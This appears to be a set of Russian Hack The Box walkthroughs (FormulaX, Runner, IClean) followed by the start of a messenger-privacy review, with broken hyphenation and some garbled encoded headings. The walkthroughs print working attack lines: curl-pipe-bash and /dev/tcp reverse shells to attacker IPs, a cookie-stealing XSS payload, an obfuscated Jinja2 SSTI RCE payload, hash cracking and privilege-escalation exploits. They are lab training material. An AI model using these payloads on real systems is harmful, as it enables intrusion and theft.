ext::sh -c curl% http://10.10.16.143/r.sh|bash >&2 

Сес сия поль зовате ля www-data

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/
https://security.snyk.io/vuln/SNYK-JS-SIMPLEGIT-3112221


HTB FORMULAX
АТАКУЕМ АДМИНА ЧЕРЕЗ ЧАТ

НА САЙТЕ И ПЕНТЕСТИМ LIBRENMS

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÏÐÎÄÂÈÆÅÍÈÅ

Ïîëüçîâàòåëü frank_dorky
Те перь нам необ ходимо соб рать информа цию.

Я буду исполь зовать для это го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе скрип та мно го все го, отбе рем толь ко то, что
поможет нам в прод вижении.

Сре ди откры тых на хос те пор тов отме чаем порт 3000, за который отве чает
веб-сер вер Nginx.

Спи сок прос лушива емых пор тов

По мимо , еще три поль зовате ля име ют дос туп к кон соли.root

Поль зовате ли с кон солью

Так же в сис теме работа ет СУБД MongoDB.

Со дер жимое фай лов MongoDB

На пор те 3000 работа ет служ ба LibreNMS, о чем сви детель ству ет файл с нас- 
трой ками:

/etc/nginx/conf.d/librenms.conf 

Со дер жимое фай ла librenms.conf

Сре ди перемен ных окру жения есть учет ные дан ные MongoDB.

Пе ремен ные окру жения

Так как у нас есть учет ка от базы дан ных, под клю чим ся к Mongo и прос мотрим
сущес тву ющие базы.

mongo 

 show dbs

Спи сок баз дан ных

MongoDB исполь зует в базах не таб лицы, а кол лекции. Давай получим кол- 
лекции в базе .testing

 use testing
 show collections

Кол лекции в базе testing

Нас опре делен но инте ресу ют дан ные в кол лекции . Воз можно, там най- 
дем и какие-нибудь пароли.

users

db.users.find()

Дан ные из кол лекции users

В базе есть хеш пароля поль зовате ля , у которо го есть дос туп

к коман дной обо лоч ке. Это хеш bcrypt (режим hashcat за номером 3200),
для его перебо ра в обыч ных усло виях может пот ребовать ся мно го вре мени.
Но пароль ока зал ся прос той, и на перебор по сло варю  ушло

мень ше минуты.

frank_dorky

rockyou.txt

hashcat -m 3200 hash.txt rockyou.txt 

Ре зуль тат перебо ра хеша

По луча ем пароль, с которым мож но авто ризо вать ся по SSH и получить учет ку
пер вого пол ноцен ного поль зовате ля.

Флаг поль зовате ля

Ïîëüçîâàòåëü LibreNMS
На пор те 3000 работа ет LibreNMS, но сер вис дос тупен толь ко для локаль ного
хос та. Что бы получить дос туп к служ бе, нам необ ходимо тун нелиро вать тра- 
фик c помощью SSH.

ssh frank_dorky@10.10.11.6 -L 3000:127.0.0.1:3000 

Те перь весь тра фик, который мы пош лем на локаль ный порт 3000, будет тун- 
нелиро ван на порт 3000 ука зан ного хос та (в дан ном слу чае 127.0.0.1) через
SSH-хост.

Фор ма авто риза ции LibreNMS

Пер вым делом я отпра вил ся искать экс пло иты для LibreNMS, но ничего инте- 
рес ного не нашел. Зато узнал, что через шаб лоны мож но получить RCE,
но для это го спер ва нуж но авто ризо вать ся. Погуг лив про авто риза цию
LibreNMS, находим , где говорит ся, как соз дать сво его
поль зовате ля.

со обще ние на форуме

Фо рум LibreNMS

При попыт ке про верить наличие скрип та  обна ружим, что у нас

нет воз можнос ти смот реть фай лы в катало ге .

adduser.php
/opt/librenms

Про вер ка катало га /opt/librenms

По лучить спи сок фай лов мы не можем, но выпол нить файл уда ется.

./adduser.php ralf ralf1234 10 

Соз дание поль зовате ля

Поль зователь соз дан, и теперь мы можем авто ризо вать ся в сис теме.

Глав ная стра ница LibreNMS

Те перь перей дем к идее с шаб лонами. Так как в сис теме есть поль зователь
LibreNMS с активной коман дной обо лоч кой, RCE даст нам пол ноцен ную сес- 
сию. Сна чала про верим кон фигура ции.

Ме ню LibreNMS

И получа ем ошиб ку: адрес 127.0.0.1 не соот ветс тву ет име ни .librenms.com

Ошиб ка LibreNMS

В фай ле  соз дадим соот ветс тву ющую запись и пов торим про вер- 
ку кон фига.

/etc/hosts

127.0.0.1 librenms.com 

Оши бок нет, теперь перехо дим в меню Alerts → Alert Templates.

Ме ню Alerts

Стра ница Templates

Соз даем новый шаб лон, который с помощью фун кции  выпол нит

реверс-шелл:

system

@php
system("bash -c '/bin/bash -i >& /dev/tcp/10.10.16.143/4321 0>&1'");
@endphp

Код шаб лона

За пус каем новый лис тенер, сох раня ем шаб лон и получа ем новую сес сию.

Сес сия поль зовате ля LibreNMS

Ïîëüçîâàòåëü kai_relay
Ос матри ваем ся в катало ге про екта и находим мно го фай лов , которые

обыч но содер жат учет ные дан ные.

.env

Со дер жимое катало га librenms

Смот рим каж дый файл и оста нав лива емся на . Учет ные дан ные
для под клю чения к базе дан ных, веро ятно, под ходят для поль зовате ля

, у которо го есть шелл в сис теме.

.custom.env

kai_relay

Со дер жимое фай ла .custom.env

Под клю чаем ся по SSH и получа ем сес сию .kai_relay

Сес сия поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Раз ведку на хос те уже про води ли, а зна чит, в поис ках при виле гий нуж но про- 
верить не так мно го. Одно из мест, где час то мож но най ти воз можность
для прод вижения, — это нас трой ки sudoers.

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы
поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

Нас трой ки sudoers

На бира ем  и видим запись, которая гла сит, что мож но выпол нить

скрипт  от име ни root без вво да пароля. Скрипт запус- 

кает при ложе ние .

sudo -l
/usr/bin/office.sh

soffice

Со дер жимое фай ла office.sh

Пер вым делом сто ит про верить тех ники GTFOBins и готовые экс пло иты.

Справка: GTFOBins
 — это под борка спо собов зло упот реблять воз можнос тями

популяр ных прог рамм для Unix. Исполь зуя соб ранные здесь рецеп ты, мож но
быс тро получить дос туп к коман дным обо лоч кам, повысить при виле гии
или передать фай лы при помощи легитим ных при ложе ний.

GTFOBins

По иск экс пло итов

С помощью Google уда лось най ти  для вер сии 6.1.2, который при- 
водит к выпол нению кода в рам ках запущен ного при ложе ния LibreOffice
ServiceManager.

экс пло ит

Опи сание экс пло ита

В исходном коде экс пло ита изме ним запус каемое при ложе ние 

на реверс-шелл для Linux:

calc.exe

 /bin/bash -i >& /dev/tcp/10.10.16.143/4321 0>&1 

За пус каем , пос ле чего на уда лен ной машине заг ружа ем и выпол- 
няем экс пло ит.

soffice

sudo /usr/bin/office.sh 

python3 exploit.py  --host localhost --port 2002 

В лис тенере на локаль ной машине мгно вен но получа ем сес сию от име ни
root.

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
https://community.librenms.org/t/adding-admin-users-on-librenms/20782
https://gtfobins.github.io/
https://www.exploit-db.com/exploits/46544


RalfHacker
hackerralf8@gmail.com

ВЗЛОМ

Се год ня я покажу, как исполь зовать прош- 
логод ний баг в инс тру мен те TeamCity, что- 
бы соз дать поль зовате ля-адми на и таким
обра зом повысить при виле гии на хос те.
Затем соз дадим кон тей нер в Portainer, сбе- 
жим из него бла года ря уяз вимос ти в runC
и смо жем читать любые фай лы в сис теме.

На ша цель — получе ние прав супер поль зовате ля на машине Runner с учеб- 
ной пло щад ки . Уро вень слож ности задания — сред ний.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.13    runner.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

По резуль татам ска ниро вания име ем три откры тых пор та:
порт 22 — служ ба OpenSSH 8.9p1;•
порт 80 — веб-сер вер Nginx 1.18.0;•
порт 8000 — веб-сер вер Nagios NSCA.•

C SSH ничего не поделать, поэто му перехо дим к вебу. На пор те 8000 необ- 
ходим какой-то эндпо инт, так как получа ем ответ 404, а на пор те 80 нас
встре чает сайт-визит ка.

От вет сер вера 10.10.11.13:8000

Глав ная стра ница сай та runner.htb

ÒÎ×ÊÀ ÂÕÎÄÀ

На сай те ничего инте рес ного най ти не уда лось, поэто му прис тупим к ска- 
ниро ванию.

Справка: сканирование веба c ffuf
Од но из пер вых дей ствий при тес тирова нии безопас ности веб-при ложе- 
ния — это ска ниро вание методом перебо ра катало гов, что бы най ти скры тую
информа цию и недос тупные обыч ным посети телям фун кции. Для это го мож но
исполь зовать прог раммы вро де  и .dirsearch DIRB

Я пред почитаю лег кий и очень быс трый . При запус ке ука зыва ем сле- 
дующие парамет ры:

ffuf

 — сло варь (я исполь зую сло вари из набора );• -w SecLists
 — количес тво потоков;• -t

 — URL;• -u

 — HTTP-заголо вок.• -H

Мес то перебо ра помеча ется сло вом FUZZ.

За даем все парамет ры и запус каем ска ниро вание:

ffuf   
 256 

-u http://runner.htb/ -H 'Host: FUZZ.runner.htb' -w subdomains-
bitquark-top100000.txt -t

Ре зуль тат ска ниро вания

Од нако ути лита выводит все вари анты из сло варя, поэто му добавим филь тр
по раз меру стра ницы (параметр ).-fs

ffuf   
 256  154 

-u http://runner.htb/ -H 'Host: FUZZ.runner.htb' -w subdomains-
bitquark-top100000.txt -t -fs

Ре зуль тат ска ниро вания

В ито ге находим один под домен, поэто му обновля ем запись в фай ле 

:

/etc/
hosts

10.10.11.13 runner.htb teamcity.runner.htb 

Глав ная стра ница teamcity.runner.htb

Пе ред нами TeamCity 2023.05.3. В этой вер сии есть извес тная уяз вимость
, которая поз воля ет ата кующе му обой ти авто риза цию, соз- 

дав сво его адми нис тра тора в сер висе. Исполь зуем пер вый най ден ный
в Google  и получа ем логин и пароль добав ленно го в сис тему адми- 
нис тра тора.

CVE-2023-42793

экс пло ит

python3 exploit.py -u http://teamcity.runner.htb -t token.txt 

Экс плу ата ция уяз вимос ти

Те перь мож но авто ризо вать ся в TeamCity и осмотреть ся в сер висе.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÎÏÎÐÛ

Пер вым делом прос мотрим зарегис три рован ных поль зовате лей и нас трой ки
бэкапов.

Поль зовате ли TeamCity

Па рамет ры бэкапа

Те перь выпол ним бэкап и ска чаем архив для ана лиза локаль но на сво ей
машине.

Бэ кап TeamCity

Прос матри вая фай лы в архи ве, находим базу поль зовате лей, в которой есть
хеши паролей, а так же какой-то при ват ный ключ SSH.

Со дер жимое фай ла users

Со дер жимое катало га pluginData

Пос ле перебо ра имен поль зовате лей TeamCity успешно логиним ся по SSH
с при ват ным клю чом поль зовате ля .john

ssh -i id_rsa john@runner.htb

Флаг поль зовате ля

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе мно го все го, давай прой дем ся по важ ным момен- 
там.

Есть нес коль ко пор тов, которые прос лушива ются толь ко для localhost.

Ак тивные пор ты

В катало ге  есть две инте рес ные дирек тории:  и ./opt containerd portainer

Со дер жимое катало га /opt

Portainer — это плат форма для управле ния дос тавкой кон тей нер ных при ложе- 
ний, которая может исполь зовать ся в сочета нии со сре дами вро де Docker
и Kubernetes.

Со дер жимое катало га /opt/portainer

Эта плат форма дос тупна как раз на пор тах 9000 и 9443, которые прос лушива- 
ются на локаль ном хос те. Что бы получить дос туп к Portainer, нам нуж но будет
про кинуть порт 9000 на свой хост с помощью SSH.

ssh -i id_rsa john@runner.htb  -L 9000:127.0.0.1:9080 -N

Те перь весь тра фик, который мы пош лем на локаль ный порт 9000, будет тун- 
нелиро ван на порт 9080 ука зан ного хос та (в дан ном слу чае 127.0.0.1) через
хост SSH.

Фор ма авто риза ции Portainer

У нас нет никаких учет ных дан ных для вхо да, поэто му я решил вер нуть ся к най- 
ден ной в бэкапах базе и переб рать сох ранен ные в ней хеши. Прос то запуск
hashcat при ведет к тому, что ути лита не смо жет самос тоятель но опре делить
алго ритм хеширо вания и пред ложит нес коль ко вари антов.

hashcat hashes.txt rockyou.txt 

Справ ка hashcat

Вы бира ем самый популяр ный — режим 3200 — и пов торя ем брут.

hashcat -m 3200 hashes.txt rockyou.txt 

Ре зуль тат работы hashcat

Спус тя минуту hashcat находит пароль поль зовате ля matthew, от име ни
которо го получа ется авто ризо вать ся в Portainer.

Глав ная стра ница Portainer

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Пе рехо дим в окру жение Primary и на стра нице Dashboard смот рим, что нам
дос тупно.

Со дер жимое стра ницы Dashboard

Пер вая идея, которая меня посети ла, — про верить, нет ли уяз вимос ти 
 в runС млад ше вер сии 1.1.11. Этот баг поз воля ет вый ти из кон- 

тей нера.

CVE-
2024-21626

RunC — это сре да выпол нения, которая при меня ется для соз дания
и запус ка кон тей неров с раз ными парамет рами изо ляции, такими как прос- 
транс тва имен, кон троль ные груп пы, Linux Capabilities и так далее. Один
из этих методов — исполь зование отдель ной фай ловой сис темы в качес тве
кор невой ФС кон тей нера (это дос тига ется через chroot).

Рас смат рива емая уяз вимость зак люча ется в утеч ке фай лового дес крип- 
тора, который может быть исполь зован новым кон тей нером, что бы соз дать
рабочий каталог в прос транс тве имен хос товой фай ловой сис темы и тем
самым обой ти chroot. В дан ном слу чае утеч ка дес крип тора про исхо дит через

, который содер жит фай ловые дес крип торы текуще го про- 

цес са, а runC, в свою оче редь, соз дает дес крип тор , дос- 
тупный через  по номерам 7, 8 или 9.

/proc/self/fd/
/sys/fs/cgroup

/proc/self/fd/
Та ким обра зом, если при соз дании кон тей нера в качес тве рабоче го

катало га ука зать дес крип тор , то реаль ным рабочим катало- 
гом кон тей нера ста нет хос товый путь . А это поможет

дотянуть ся до любого фай ла хос товой фай ловой сис темы через вот такой
обход путей:

/proc/self/fd/8
/sys/fs/cgroup

../../../../ 

В Portainer уже есть два готовых обра за, будем исполь зовать один из них.
На стра нице Images выбира ем образ и на стра нице Image details копиру ем ID
обра за.

Стра ница Images

Стра ница Image details

За тем перехо дим на стра ницу Containers и соз даем кон тей нер. В поле Image
ука зыва ем ID обра за, а в рас ширен ных нас трой ках кон тей нера — рабочий
каталог ./proc/self/fd/8

Нас трой ки кон тей нера

Рас ширен ные нас трой ки кон тей нера

Пос ле стар та кон тей нера под клю чаем ся к нему и про буем читать файл 

 на хос товой сис теме.

/etc/
hostname

Спи сок кон тей неров

Кон соль кон тей нера

По име ни хос та вид но, что мы выш ли из кон тей нера и дотяну лись до фай ла
с хос та. Оста лось получить пос ледний флаг.

Флаг рута

И машина зах вачена!
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https://www.hackthebox.eu/
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ВЗЛОМ

В этом рай тапе я покажу, как экс плу ати- 
ровать уяз вимость XSS для кра жи cookie
поль зовате ля, а затем уяз вимость SSTI —
для выпол нения кода в сис теме. Для прод- 
вижения исполь зуем учет ные дан ные,
получен ные из базы дан ных. При повыше- 
нии при виле гий вос поль зуем ся излишни ми
раз решени ями ути литы qpdf.

На ша цель — получе ние прав супер поль зовате ля на машине IСlean с учеб ной
пло щад ки . Уро вень слож ности задания — сред ний.Hack The Box

WARNING

Под клю чать ся к машинам с HTB рекомен дует ся
толь ко через VPN. Не делай это го с компь юте ров,
где есть важ ные для тебя дан ные, так как ты ока- 
жешь ся в общей сети с дру гими учас тни ками.

ÐÀÇÂÅÄÊÀ

Ñêàíèðîâàíèå ïîðòîâ
До бав ляем IP-адрес машины в :/etc/hosts

10.10.11.12    iclean.htb 

И запус каем ска ниро вание пор тов.

Справка: сканирование портов
Ска ниро вание пор тов — стан дар тный пер вый шаг при любой ата ке. Он поз- 
воля ет ата кующе му узнать, какие служ бы на хос те при нима ют соеди нение.
На осно ве этой информа ции выбира ется сле дующий шаг к получе нию точ ки
вхо да.

На ибо лее извес тный инс тру мент для ска ниро вания — это Nmap. Улуч шить
резуль таты его работы ты можешь при помощи сле дующе го скрип та:

#!/bin/bash
nmap  500  |     1 | 

   | s/, /
ports=$( -p- --min-rate= $1 grep ^[0-9] | cut -d '/' -f
tr '\n' ',' sed $/ )
nmap   -p$ports -A $1

Он дей ству ет в два эта па. На пер вом про изво дит ся обыч ное быс трое ска- 
ниро вание, на вто ром — более тща тель ное ска ниро вание, с исполь зовани ем
име ющих ся скрип тов (опция ).-A

Ре зуль тат работы скрип та

Ска нер нашел все го два откры тых пор та:
22 — служ ба OpenSSH 8.9p1;•
80 — веб-сер вер Apache 2.4.52.•

Как обыч но в таких слу чаях, начина ем с про вер ки сай та.

Глав ная стра ница сай та

ÒÎ×ÊÀ ÂÕÎÄÀ

Изу чая сайт, находим фор му заказа услуг.

Со дер жимое стра ницы quote

От меча ем все позиции и выпол няем заказ. Затем в  смот рим

на сам зап рос к сер веру и про веря ем отправ ляемые парамет ры.

Burp History

Зап рос в Burp History

В парамет рах отправ ляют ся не зна чения  и , что было бы логич нее,

а наз вание услу ги. Ско рее все го, ука зан ные в заказе услу ги отоб ража ются
у дру гого поль зовате ля, поэто му сто ит про верить, нет ли здесь XSS. Для это- 
го запус тим веб-сер вер:

true false

python3 -m http.server 

Ком бинаци ей кла виш Ctrl-R перенап равим зап рос из Burp History в Burp
Repeater и заш лем базовую наг рузку, которая выпол нит зап рос на наш
веб-сер вер.

  <img src=x onerror=fetch("http://10.10.14.83:8000/test_xss");>

Зап рос в Burp Repeater

Ло ги веб-сер вера

В логах видим зап рос, а зна чит, сер вис уяз вим. Теперь поп робу ем увес ти
куки поль зовате ля, который прос матри вает заказы.

  <img src=x onerror=fetch("http://10.10.14.83:8000/"+document.cookie);
>

Зап рос в Burp Repeater

Ло ги веб-сер вера

При меня ем иден тифика тор сес сии в локаль ном хра нили ще бра узе ра Chrome
и перехо дим на стра ницу ./dashboard

Стра ница авто ризо ван ного поль зовате ля

Нам ста ли дос тупны новые фун кции, прой дем ся по ним по поряд ку.

Продолжение статьи →

mailto:hackerralf8@gmail.com
https://www.hackthebox.eu/


HTB IСLEAN
ЭКСПЛУАТИРУЕМ ЦЕПОЧКУ ВЕБ-

УЯЗВИМОСТЕЙ ПРИ АТАКЕ
НА СЕРВЕР

ВЗЛОМ  НАЧАЛО СТАТЬИ←

ÒÎ×ÊÀ ÎÏÎÐÛ

Нач нем с генера тора QR-кода. Пер вым делом нам необ ходимо получить
Invoice ID.

Стра ница /QRGenerator

Стра ница /InvoiceGenerator

Пот ратив нем ного вре мени на тес тирова ние этой воз можнос ти через Burp, я
ничего инте рес ного так и не нашел. Но по получен ному иден тифика тору мож- 
но сге нери ровать Invoice. Что бы луч ше прос леживать, как потом изме няют ся
и обра баты вают ся дан ные, запол ним все поля ран домны ми зна чени ями.

Стра ница /InvoiceGenerator

Пос ле это го вер немся к генера тору QR-кода и ука жем получен ный ранее
Invoice ID.

Стра ница /QRGenerator

Ссыл ка на QR-код

А теперь встав ляем получен ную ссыл ку в фор му . Нас переб росит

на стра ницу инвой са. На ней вве ден ных при генери рова нии инвой са дан ных я
не нашел. Одна ко при сутс тву ет QR-код, который, веро ятно, мы переда ли
в фор ме QR Link.

QR Link

Стра ница Invoice

Ес ли взгля нуть на зап рос в Burp History, мож но отме тить, что сер вер при- 
нима ет пол ный URL QR-кода в парамет ре .qr_link

Зап рос на сер вер

Я решил про верить, при дет ли на мой сер вер зап рос, если ука зать свой IP.
Для это го сно ва запус каем веб-сер вер ( ) и через

Burp Repeater пов торя ем зап рос на сер вер, толь ко в этот раз в парамет ре
 переда ем URL на свой сер вер. Но в ито ге отправ ленный URL был

толь ко отоб ражен на стра нице.

python3 -m http.server

qr_link

От вет сер вера

Поп робу ем поэк спе римен тировать с содер жимым парамет ра .qr_link

SSTI
Пер вым делом я решил про верить базовую наг рузку SSTI: . В ито ге

шаб лон обра ботан, и в отве те сер вера получа ем резуль тат под сче та.

{{7*7}}

От вет сер вера

Так как наг рузка отра бота ла, есть веро ятность, что на сер вере исполь зует ся
популяр ный шаб лониза тор Jinja2. Не тес тируя дру гие наг рузки и не про веряя,
есть ли какая-то филь тра ция, я решил сра зу про щупать воз можность уда лен- 
ного выпол нения кода. Сле дующая наг рузка выпол нит коман ду :id

{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\
x5f\x5fgetitem\x5f\x5f')('\x5f\x5fbuiltins\x5f\x5f')|attr('\x5f\x5f
getitem\x5f\x5f')('\x5f\x5fimport\x5f\x5f')('os')|attr('popen')('id')
|attr('read')()}}

Ре зуль тат обра бот ки шаб лона

Те перь запус каем лис тенер:

pwncat-cs -lp 4321 

И вмес то коман ды  переда ем сле дующий реверс-шелл:id

bash  -c "bash -i >& /dev/tcp/10.10.14.83/4321 0>&1"

Сес сия поль зовате ля www-data

Так получа ем сес сию в сис теме и перехо дим к раз ведке.

ÏÐÎÄÂÈÆÅÍÈÅ

Те перь нам необ ходимо соб рать информа цию. Я буду исполь зовать для это- 
го скрип ты PEASS.

Справка: скрипты PEASS
Что делать пос ле того, как мы получи ли дос туп в сис тему от име ни поль- 
зовате ля? Вари антов даль нейшей экс плу ата ции и повыше ния при виле гий
может быть очень мно го, как в Linux, так и в Windows. Что бы соб рать
информа цию и наметить цели, мож но исполь зовать 

 (PEASS) — набор скрип тов, которые про веря ют сис- 
тему на авто мате и выда ют под робный отчет о потен циаль но инте рес ных
фай лах, про цес сах и нас трой ках.

Privilege Escalation
Awesome Scripts SUITE

Заг рузим на хост скрипт для Linux, дадим пра во на выпол нение и запус тим
ска ниро вание. В выводе будет мно го информа ции, поэто му отбе рем толь ко
зна чимую.

В спис ке прос лушива емых пор тов находим 3000, на котором работа ет
MySQL.

Спи сок активных пор тов

В дереве про цес сов отме чаем при ложе ние, работа ющее в катало ге 
. Это му при ложе нию в парамет ре  переда ется адрес MS SQL.

/opt/
app --bind

Де рево про цес сов

Та ким обра зом, при ложе ние исполь зует базу дан ных, а в ней мы можем най ти
какие-нибудь новые учет ные дан ные. Но что бы под клю чить ся к базе, нам нуж- 
ны учет ные дан ные. Поп робу ем най ти их в исходном коде при ложе ния.

Со дер жимое фай ла app.py

С получен ными учет ными дан ными под клю чаем ся к базе  и прос-
матри ваем таб лицы.

capiclean

mysql -u iclean -ppxCsmnGLckUb

 use capiclean;
 show tables;

Таб лицы в базе capiclean

Нам нуж на таб лица , получим все ее содер жимое.users

   select * from users;

Со дер жимое таб лицы users

В ито ге име ем два хеша, которые про буем переб рать с помощью .hashcat

hashcat 
'0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa' 
rockyou.txt 

Ло ги hashcat

Но hashcat не смог опре делить алго ритм хеширо вания и пред ложил нес коль- 
ко вари антов. Самый популяр ный алго ритм — SHA-256, поэто му пов торим
под бор, но в этот раз ука жем режим 1400.

hashcat -m 1400 
'0a298fdd4d546844ae940357b631e40bf2a7847932f82c494daa1c9c5d6927aa' 
rockyou.txt 

Ре зуль тат перебо ра хеша

Па роль рас шифро ван, и мы можем исполь зовать его для авто риза ции по SSH
и про читать пер вый флаг.

Флаг поль зовате ля

ËÎÊÀËÜÍÎÅ ÏÎÂÛØÅÍÈÅ ÏÐÈÂÈËÅÃÈÉ

Так как раз ведку в сети мы уже про води ли, оста ется не так мно го мест,
которые сто ит про верить при изме нении кон тек ста. Одно из таких мест —
нас трой ки sudoers.

Справка: sudoers
Файл  в Linux содер жит спис ки команд, которые раз ные груп пы

поль зовате лей могут выпол нять от име ни адми нис тра тора сис темы. Мож но
прос мотреть его как нап рямую, так и при помощи коман ды .

/etc/sudoers

sudo -l

 sudo -l

Нас трой ки sudoers

Та ким обра зом, мы можем запус тить от име ни поль зовате ля root прог рамму 

. Эта прог рамма исполь зует ся для пре обра зова ния PDF-фай- 

лов. Меня сра зу же посети ла идея исполь зовать qpdf для добав ления про- 
изволь ных фай лов в качес тве вло жения. А так как запуск про изво дит ся
с высоки ми при виле гиями, мы смо жем получить содер жимое любого фай ла
в сис теме, нап ример при ват ного клю ча SSH. За добав ление вло жений отве- 
чает флаг , а за сох ранение фай ла в тек сто вом виде —
флаг .

/
usr/bin/qpdf

--add-attachment
--qdf

 sudo /usr/bin/qpdf --empty /tmp/qwe.txt --qdf --add-attachment /root/
.ssh/id_rsa --
cat /tmp/qwe.txt 

Со дер жимое сох ранен ного фай ла

В сох ранен ном фай ле есть ключ SSH. Копиру ем его на свою машину и под- 
клю чаем ся к сер веру от име ни поль зовате ля root.

Флаг рута

Ма шина зах вачена!

https://github.com/carlospolop/PEASS-ng
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ПРИВАТНОСТЬ

Ду маю, тебе не нуж но лиш ний раз напоми- 
нать, почему тай на перепис ки дол жна
по умол чанию оста вать ся тай ной. Сей час
есть мно жес тво мес сен дже ров, каж дый
из которых пред лага ет какую-то защиту
от перех вата дан ных. Но не все они устро- 
ены оди нако во, и у каж дого есть уни каль- 
ные осо бен ности. В этой статье мы прой- 
дем ся по самым при ват ным мес сен дже- 
рам.

Что бы обзор не раз дулся до кос мичес ких раз меров, мы сра зу отбро сим вся- 
кую поп су вро де WhatsApp, Telegram и Facebook Messenger. Для регис тра ции
в них тре бует ся телефон, а защищен ность — пол ностью на совес ти раз- 
работ чиков. Будем ори енти ровать ся в пер вую оче редь на пол ную ано ним- 
ность, гра мот но выс тро енное шиф рование, а так же отсутс твие зак ладок — то
есть откры тый и про шед ший сто рон ний аудит исходный код.

ÏÎ×ÅÌÓ ÍÅ SIGNAL?

У мес сен дже ра Signal хорошая репута ция сре ди пок лонни ков безопас ного
обще ния, и это абсо лют но зас лужен но! Сре ди его дос тоинств:

от кры тый исходный код;•
силь ная крип тогра фия, которая активна по умол чанию;•
про веден ный аудит безопас ности;•
кросс-плат формен ность;•
на личие боль шого чис ла полез ных фун кций: пересыл ка фай лов, аудио-
и виде озвонки;

•

са моунич тожа ющиеся сооб щения.•

Но есть и серь езные минусы:
тре бует ся телефон ный номер для регис тра ции. И толь ко недав но была
добав лена воз можность показы вать собесед нику ник нейм вмес то сво его
телефон ного номера;

•

Signal делит ся телефон ными номера ми со сто рон ними (!) ком пани ями,
и уже была  попыт ка взло ма, в ходе которой телефон ные номера
уте кали в руки зло умыш ленни ков;

•
ус пешная

цен тра лизо ван ная инфраструк тура мес сен дже ра. Если основные ком- 
понен ты инфраструк туры вый дут из строя, работа мес сен дже ра ста нет
невоз можной.

•

Как видишь, минусы весомые, и неп лохо было бы на вся кий слу чай озна- 
комить ся с аль тер натива ми Signal. Вдруг получит ся най ти прог рамму со срав- 
нимым спис ком дос тоинств и без перечис ленных недос татков? Что ж, давай
искать!

SESSION

По мимо серь езной защиты переда ваемых дан ных, этот мес сен джер отли- 
чает ся повышен ной ано ним ностью. Он работа ет поверх сети Oxen, прин цип
которой схож с Tor: выс тра ивает ся цепоч ка слу жеб ных узлов от отпра вите ля
сооб щения к получа телю. Кли ент есть для всех акту аль ных плат форм: Android,
iOS, macOS, Windows, Linux.

Session пута ет сле ды

При регис тра ции генери рует ся уни каль ный иден тифика тор поль зовате ля
и сек ретная фра за, пред назна чен ная для вос ста нов ления акка унта на новом
устрой стве. Под держи вают ся все необ ходимые фичи сов ремен ных мес сен- 
дже ров: звон ки, исче зающие сооб щения, переда ча фай лов, груп повые чаты
и так далее. Для получе ния уве дом лений может исполь зовать ся инфраструк- 
тура Google (режим быс трой дос тавки), но самые парано идаль ные поль- 
зовате ли могут отклю чить эту фун кцию.

Ре жимы дос тавки

Без сер веров Google сооб щения будут про дол жать при ходить, но с некото- 
рой задер жкой. Впро чем, при тес тирова нии даже «быс трая дос тавка»
работа ла далеко не момен таль но.

Ос новной минус это го мес сен дже ра в том, что раз работ чики выб рали
спор ные решения в пла не безопас ности: отка зались от исполь зования
Perfect Forward Secrecy и режима прав доподоб ного отри цания.

Справка
 — это крип тогра фичес кая фун кция,

которая обес печива ет безопас ность клю чей шиф рования, даже если дол- 
госроч ные клю чи сер вера ском про мети рова ны. В кон тек сте сеан сового
шиф рования PFS гаран тиру ет, что каж дый новый сеанс исполь зует уни каль- 
